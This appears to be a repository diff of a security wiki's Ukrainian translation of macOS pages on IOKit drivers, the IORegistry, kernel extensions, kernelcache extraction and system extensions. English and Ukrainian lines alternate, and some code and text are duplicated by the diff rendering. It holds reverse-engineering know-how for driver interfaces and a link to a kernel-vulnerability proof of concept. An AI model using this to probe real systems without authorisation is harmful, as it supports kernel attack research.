1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
До номера 9 вказані драйвери **завантажуються за адресою 0**. Це означає, що це не справжні драйвери, а **частина ядра, і їх не можна вивантажити**.
Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**.
In order to find specific extensions you can use:
Щоб знайти конкретні розширення, ви можете використовувати:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
To load and unload kernel extensions do:
Щоб завантажити та вивантажити розширення ядра, виконайте:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other.
You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS).
**IORegistry** є важливою частиною фреймворку IOKit в macOS та iOS, яка слугує базою даних для представлення апаратної конфігурації та стану системи. Це **ієрархічна колекція об'єктів, які представляють все апаратне забезпечення та драйвери**, завантажені в системі, та їхні взаємозв'язки.
Ви можете отримати IORegistry, використовуючи cli **`ioreg`**, щоб перевірити його з консолі (особливо корисно для iOS).
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane
```
You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface.
Ви можете завантажити **`IORegistryExplorer`** з **Xcode Additional Tools** з [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) і перевірити **macOS IORegistry** через **графічний** інтерфейс.
<figure><img src="../../../images/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer:
У IORegistryExplorer "площини" використовуються для організації та відображення відносин між різними об'єктами в IORegistry. Кожна площина представляє собою специфічний тип відносин або певний вигляд апаратного забезпечення та конфігурації драйверів системи. Ось деякі з поширених площин, з якими ви можете зіткнутися в IORegistryExplorer:
1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects.
2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI.
3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues.
4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices.
5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system.
1. **IOService Plane**: Це найзагальніша площина, що відображає об'єкти сервісів, які представляють драйвери та нуби (канали зв'язку між драйверами). Вона показує відносини постачальника та клієнта між цими об'єктами.
2. **IODeviceTree Plane**: Ця площина представляє фізичні з'єднання між пристроями, коли вони підключені до системи. Вона часто використовується для візуалізації ієрархії пристроїв, підключених через шини, такі як USB або PCI.
3. **IOPower Plane**: Відображає об'єкти та їх відносини в термінах управління енергією. Вона може показувати, які об'єкти впливають на енергетичний стан інших, що корисно для налагодження проблем, пов'язаних з енергією.
4. **IOUSB Plane**: Спеціально зосереджена на USB-пристроях та їх відносинах, показуючи ієрархію USB-хабів та підключених пристроїв.
5. **IOAudio Plane**: Ця площина призначена для представлення аудіопристроїв та їх відносин у системі.
6. ...
## Driver Comm Code Example
## Приклад коду драйвера
The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it:
- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service.
- It then establish a connection calling **`IOServiceOpen`**.
- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned).
Наступний код підключається до сервісу IOKit `"YourServiceNameHere"` і викликає функцію всередині селектора 0. Для цього:
- спочатку викликає **`IOServiceMatching`** та **`IOServiceGetMatchingServices`** для отримання сервісу.
- Потім встановлює з'єднання, викликавши **`IOServiceOpen`**.
- І нарешті викликає функцію з **`IOConnectCallScalarMethod`**, вказуючи селектор 0 (селектор - це номер, який функція, яку ви хочете викликати, має призначений).
```objectivec
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
}
```
Є **інші** функції, які можна використовувати для виклику функцій IOKit, окрім **`IOConnectCallScalarMethod`**, такі як **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
## Реверс інтерфейсу драйвера
## Reversing driver entrypoint
Ви можете отримати їх, наприклад, з [**образу прошивки (ipsw)**](./#ipsw). Потім завантажте його у ваш улюблений декомпілятор.
You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler.
You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function:
Ви можете почати декомпіляцію функції **`externalMethod`**, оскільки це функція драйвера, яка буде отримувати виклик і викликати правильну функцію:
<figure><img src="../../../images/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../images/image (1169).png" alt=""><figcaption></figcaption></figure>
That awful call demagled means:
Цей жахливий виклик, демаглений, означає:
```cpp
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Note how in the previous definition the **`self`** param is missed, the good definition would be:
Зверніть увагу, що в попередньому визначенні пропущено параметр **`self`**, хороше визначення буде:
```cpp
IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
Насправді, ви можете знайти реальне визначення за посиланням [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
```
With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types:
З цією інформацією ви можете переписати Ctrl+Right -> `Edit function signature` і встановити відомі типи:
<figure><img src="../../../images/image (1174).png" alt=""><figcaption></figcaption></figure>
The new decompiled code will look like:
Новий декомпільований код виглядатиме так:
<figure><img src="../../../images/image (1175).png" alt=""><figcaption></figcaption></figure>
For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it:
Для наступного кроку нам потрібно визначити структуру **`IOExternalMethodDispatch2022`**. Вона є відкритим кодом у [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), ви можете визначити її:
<figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure>
Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data:
Тепер, слідуючи за `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`, ви можете побачити багато даних:
<figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
Change the Data Type to **`IOExternalMethodDispatch2022:`**
Змініть тип даних на **`IOExternalMethodDispatch2022:`**
<figure><img src="../../../images/image (1177).png" alt="" width="375"><figcaption></figcaption></figure>
after the change:
після зміни:
<figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements:
І як ми тепер знаємо, що в нас є **масив з 7 елементів** (перевірте фінальний декомпільований код), натисніть, щоб створити масив з 7 елементів:
<figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
After the array is created you can see all the exported functions:
Після створення масиву ви можете побачити всі експортовані функції:
<figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**...
> Якщо ви пам'ятаєте, щоб **викликати** **експортовану** функцію з простору користувача, нам не потрібно викликати ім'я функції, а лише **номер селектора**. Тут ви можете побачити, що селектор **0** є функцією **`initializeDecoder`**, селектор **1** є **`startDecoder`**, селектор **2** **`initializeEncoder`**...
{{#include ../../../banners/hacktricks-training.md}}

956
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
View File

File diff suppressed because it is too large Load Diff

106
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
View File

@ -2,40 +2,39 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system.
Kernel extensions (Kexts) — це **пакети** з розширенням **`.kext`**, які **завантажуються безпосередньо в простір ядра macOS**, надаючи додаткову функціональність основній операційній системі.
### Requirements
### Вимоги
Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded:
Очевидно, що це настільки потужно, що **завантажити розширення ядра** є **складним**. Ось **вимоги**, які повинні бути виконані для завантаження розширення ядра:
- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded:
- Коли **входите в режим відновлення**, розширення ядра **повинні бути дозволені** для завантаження:
<figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed.
- The kernel extension must also be **notarized**, Apple will be able to check it for malware.
- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**.
- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it.
- Розширення ядра повинно бути **підписане сертифікатом підпису коду ядра**, який може бути **наданий тільки Apple**. Хто детально розгляне компанію та причини, чому це необхідно.
- Розширення ядра також повинно бути **нотаризоване**, Apple зможе перевірити його на наявність шкідливого ПЗ.
- Потім, **кореневий** користувач є тим, хто може **завантажити розширення ядра**, а файли всередині пакета повинні **належати кореню**.
- Під час процесу завантаження пакет повинен бути підготовлений у **захищеному місці, що не є кореневим**: `/Library/StagedExtensions` (вимагає надання `com.apple.rootless.storage.KernelExtensionManagement`).
- Нарешті, при спробі завантажити його, користувач [**отримає запит на підтвердження**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) і, якщо буде прийнято, комп'ютер повинен бути **перезавантажений** для його завантаження.
### Loading process
### Процес завантаження
In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
У Catalina це виглядало так: Цікаво відзначити, що процес **перевірки** відбувається в **userland**. Однак тільки програми з наданням **`com.apple.private.security.kext-management`** можуть **запитувати у ядра завантажити розширення**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **starts** the **verification** process for loading an extension
- It will talk to **`kextd`** by sending using a **Mach service**.
2. **`kextd`** will check several things, such as the **signature**
- It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**.
3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded.
- **`syspolicyd`** will report the result to **`kextd`**
4. **`kextd`** will finally be able to **tell the kernel to load** the extension
1. **`kextutil`** cli **починає** процес **перевірки** для завантаження розширення
- Він спілкуватиметься з **`kextd`**, використовуючи **Mach service**.
2. **`kextd`** перевірить кілька речей, таких як **підпис**
- Він спілкуватиметься з **`syspolicyd`**, щоб **перевірити**, чи може розширення бути **завантаженим**.
3. **`syspolicyd`** **запитає** **користувача**, якщо розширення не було завантажено раніше.
- **`syspolicyd`** повідомить результат **`kextd`**
4. **`kextd`** нарешті зможе **сказати ядру завантажити** розширення
If **`kextd`** is not available, **`kextutil`** can perform the same checks.
### Enumeration (loaded kexts)
Якщо **`kextd`** недоступний, **`kextutil`** може виконати ті ж перевірки.
### Перерахування (завантажені kexts)
```bash
# Get loaded kernel extensions
kextstat
@ -43,40 +42,38 @@ kextstat
# Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
```
## Kernelcache
> [!CAUTION]
> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it.
> Навіть якщо очікується, що розширення ядра будуть у `/System/Library/Extensions/`, якщо ви зайдете в цю папку, ви **не знайдете жодного бінарного файлу**. Це пов'язано з **kernelcache**, і для того, щоб зворотно інженерити один `.kext`, вам потрібно знайти спосіб його отримати.
The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time.
**Kernelcache** - це **попередньо скомпільована та попередньо зв'язана версія ядра XNU**, разом з основними **драйверами** та **розширеннями ядра**. Він зберігається у **сжатому** форматі і розпаковується в пам'ять під час процесу завантаження. Kernelcache сприяє **швидшому часу завантаження**, маючи готову до запуску версію ядра та важливих драйверів, що зменшує час і ресурси, які інакше витрачалися б на динамічне завантаження та зв'язування цих компонентів під час завантаження.
### Local Kerlnelcache
In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \
In my case in macOS I found it in:
В iOS він знаходиться у **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, в macOS ви можете знайти його за допомогою: **`find / -name "kernelcache" 2>/dev/null`** \
У моєму випадку в macOS я знайшов його в:
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it.
Формат файлу IMG4 - це контейнерний формат, який використовується Apple в його пристроях iOS та macOS для безпечного **зберігання та перевірки компонентів прошивки** (як-от **kernelcache**). Формат IMG4 включає заголовок і кілька тегів, які інкапсулюють різні частини даних, включаючи фактичний корисний вантаж (як-от ядро або завантажувач), підпис та набір властивостей маніфесту. Формат підтримує криптографічну перевірку, що дозволяє пристрою підтверджувати автентичність та цілісність компонента прошивки перед його виконанням.
It's usually composed of the following components:
Зазвичай він складається з наступних компонентів:
- **Payload (IM4P)**:
- Often compressed (LZFSE4, LZSS, …)
- Optionally encrypted
- Часто стиснутий (LZFSE4, LZSS, …)
- За бажанням зашифрований
- **Manifest (IM4M)**:
- Contains Signature
- Additional Key/Value dictionary
- Містить підпис
- Додатковий словник ключ/значення
- **Restore Info (IM4R)**:
- Also known as APNonce
- Prevents replaying of some updates
- OPTIONAL: Usually this isn't found
Decompress the Kernelcache:
- Відомий також як APNonce
- Запобігає повторному використанню деяких оновлень
- OPTIONAL: Зазвичай це не знаходиться
Розпакуйте Kernelcache:
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Download&#x20;
### Завантажити&#x20;
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**.
Check it for symbols with:
У [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) можна знайти всі набори для налагодження ядра. Ви можете завантажити його, змонтувати, відкрити за допомогою інструменту [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), отримати доступ до папки **`.kext`** та **екстрактувати** її.
Перевірте його на наявність символів за допомогою:
```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
- [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files.
Іноді Apple випускає **kernelcache** з **symbols**. Ви можете завантажити деякі прошивки з символами, перейшовши за посиланнями на цих сторінках. Прошивки міститимуть **kernelcache** серед інших файлів.
To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it.
Щоб **extract** файли, почніть з зміни розширення з `.ipsw` на `.zip` і **unzip** його.
After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with:
Після витягування прошивки ви отримаєте файл на кшталт: **`kernelcache.release.iphone14`**. Він у форматі **IMG4**, ви можете витягти цікаву інформацію за допомогою:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Інспекція kernelcache
### Inspecting kernelcache
Check if the kernelcache has symbols with
Перевірте, чи має kernelcache символи з
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
With this we can now **extract all the extensions** or the **one you are interested in:**
З цим ми тепер можемо **витягти всі розширення** або **те, яке вас цікавить:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## Налагодження
## Debugging
## Referencias
## Посилання
- [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
- [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)

4
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-vulnerabilities.md
View File

@ -1,10 +1,10 @@
# macOS Kernel Vulnerabilities
# Уразливості ядра macOS
{{#include ../../../banners/hacktricks-training.md}}
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\
[**У цьому звіті**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) пояснюються кілька уразливостей, які дозволили скомпрометувати ядро, скомпрометувавши програму оновлення програмного забезпечення.\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{{#include ../../../banners/hacktricks-training.md}}

72
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md
View File

@ -4,80 +4,78 @@
## System Extensions / Endpoint Security Framework
Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction.
На відміну від Kernel Extensions, **System Extensions працюють у просторі користувача** замість простору ядра, що зменшує ризик аварійної зупинки системи через несправність розширення.
<figure><img src="../../../images/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions.
Існує три типи системних розширень: **DriverKit** Extensions, **Network** Extensions та **Endpoint Security** Extensions.
### **DriverKit Extensions**
DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run.
DriverKit є заміною для kernel extensions, які **надають апаратну підтримку**. Він дозволяє драйверам пристроїв (таким як USB, Serial, NIC та HID драйвери) працювати в просторі користувача, а не в просторі ядра. Фреймворк DriverKit включає **версії певних класів I/O Kit для простору користувача**, а ядро пересилає звичайні події I/O Kit у простір користувача, пропонуючи безпечніше середовище для роботи цих драйверів.
### **Network Extensions**
Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions:
Network Extensions надають можливість налаштовувати мережеву поведінку. Існує кілька типів Network Extensions:
- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets.
- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets.
- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level.
- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level.
- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses.
- **App Proxy**: Використовується для створення VPN-клієнта, який реалізує орієнтований на потоки, кастомний VPN-протокол. Це означає, що він обробляє мережевий трафік на основі з'єднань (або потоків), а не окремих пакетів.
- **Packet Tunnel**: Використовується для створення VPN-клієнта, який реалізує орієнтований на пакети, кастомний VPN-протокол. Це означає, що він обробляє мережевий трафік на основі окремих пакетів.
- **Filter Data**: Використовується для фільтрації мережевих "потоків". Він може моніторити або змінювати мережеві дані на рівні потоку.
- **Filter Packet**: Використовується для фільтрації окремих мережевих пакетів. Він може моніторити або змінювати мережеві дані на рівні пакета.
- **DNS Proxy**: Використовується для створення кастомного DNS-провайдера. Може використовуватися для моніторингу або зміни DNS-запитів і відповідей.
## Endpoint Security Framework
Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity.
Endpoint Security - це фреймворк, наданий Apple в macOS, який забезпечує набір API для системної безпеки. Він призначений для використання **постачальниками безпеки та розробниками для створення продуктів, які можуть моніторити та контролювати системну активність** для виявлення та захисту від шкідливої активності.
This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events.
Цей фреймворк надає **збірку API для моніторингу та контролю системної активності**, такої як виконання процесів, події файлової системи, мережеві та ядрові події.
The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components:
Ядро цього фреймворку реалізовано в ядрі, як Kernel Extension (KEXT), розташоване за **`/System/Library/Extensions/EndpointSecurity.kext`**. Цей KEXT складається з кількох ключових компонентів:
- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework.
